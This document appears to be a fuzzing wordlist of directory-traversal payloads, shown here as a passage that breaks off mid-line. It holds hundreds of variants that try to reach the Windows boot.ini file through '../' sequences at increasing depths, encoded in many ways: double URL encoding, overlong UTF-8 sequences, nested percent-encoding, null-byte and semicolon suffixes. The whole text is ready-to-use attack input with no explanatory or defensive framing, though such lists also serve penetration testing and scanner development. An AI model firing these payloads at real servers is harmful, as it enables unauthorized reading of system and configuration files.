%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n..%c0%afboot.ini\r\n..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini\r\n%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini\r\n%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini\r\n..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/boot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25afboot.ini\r\n..%c1%9cboot.ini\r\n..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cboot.ini\r\n%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\boot.ini\r\n%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9cboot.ini\r\n..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\boot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259cboot.ini\r\n..%%32%66boot.ini\r\n..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini\r\n..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66boot.ini\r\n%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66boot.ini\r\n..%%35%63boot.ini\r\n..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini\r\n..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63boot.ini\r\n%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/boot.ini\r\n%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63boot.ini\r\n../boot.ini%00index.html\r\n../../boot.ini%00index.html\r\n../../../boot.ini%00index.html\r\n../../../../boot.ini%00index.html\r\n../../../../../boot.ini%00index.html\r\n../../../../../../boot.ini%00index.html\r\n../../../../../../../boot.ini%00index.html\r\n../../../../../../../../boot.ini%00index.html\r\n..%2fboot.ini%00index.html\r\n..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00index.html\r\n%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00index.html\r\n%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini%00index.html\r\n..%252fboot.ini%00index.html\r\n..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%00index.html\r\n%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini%00index.html\r\n%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini%00index.html\r\n..\\boot.ini%00index.html\r\n..\\..\\boot.ini%00index.html\r\n..\\..\\..\\boot.ini%00index.html\r\n..\\..\\..\\..\\boot.ini%00index.html\r\n..\\..\\..\\..\\..\\boot.ini%00index.html\r\n..\\..\\..\\..\\..\\..\\boot.ini%00index.html\r\n..\\..\\..\\..\\..\\..\\..\\boot.ini%00index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00index.html\r\n..%5cboot.ini%00index.html\r\n..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini%00index.html\r\n%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini%00index.html\r\n%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00index.html\r\n..%255cboot.ini%00index.html\r\n..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini%00index.html\r\n%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%00index.html\r\n%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini%00index.html\r\n../boot.ini;index.html\r\n../../boot.ini;index.html\r\n../../../boot.ini;index.html\r\n../../../../boot.ini;index.html\r\n../../../../../boot.ini;index.html\r\n../../../../../../boot.ini;index.html\r\n../../../../../../../boot.ini;index.html\r\n../../../../../../../../boot.ini;index.html\r\n..%2fboot.ini;index.html\r\n..%2f..%2fboot.ini;index.html\r\n..%2f..%2f..%2fboot.ini;index.html\r\n..%2f..%2f..%2f..%2fboot.ini;index.html\r\n..%2f..%2f..%2f..%2f..%2fboot.ini;index.html\r\n..%2f..%2f..%2f..%2f..%2f.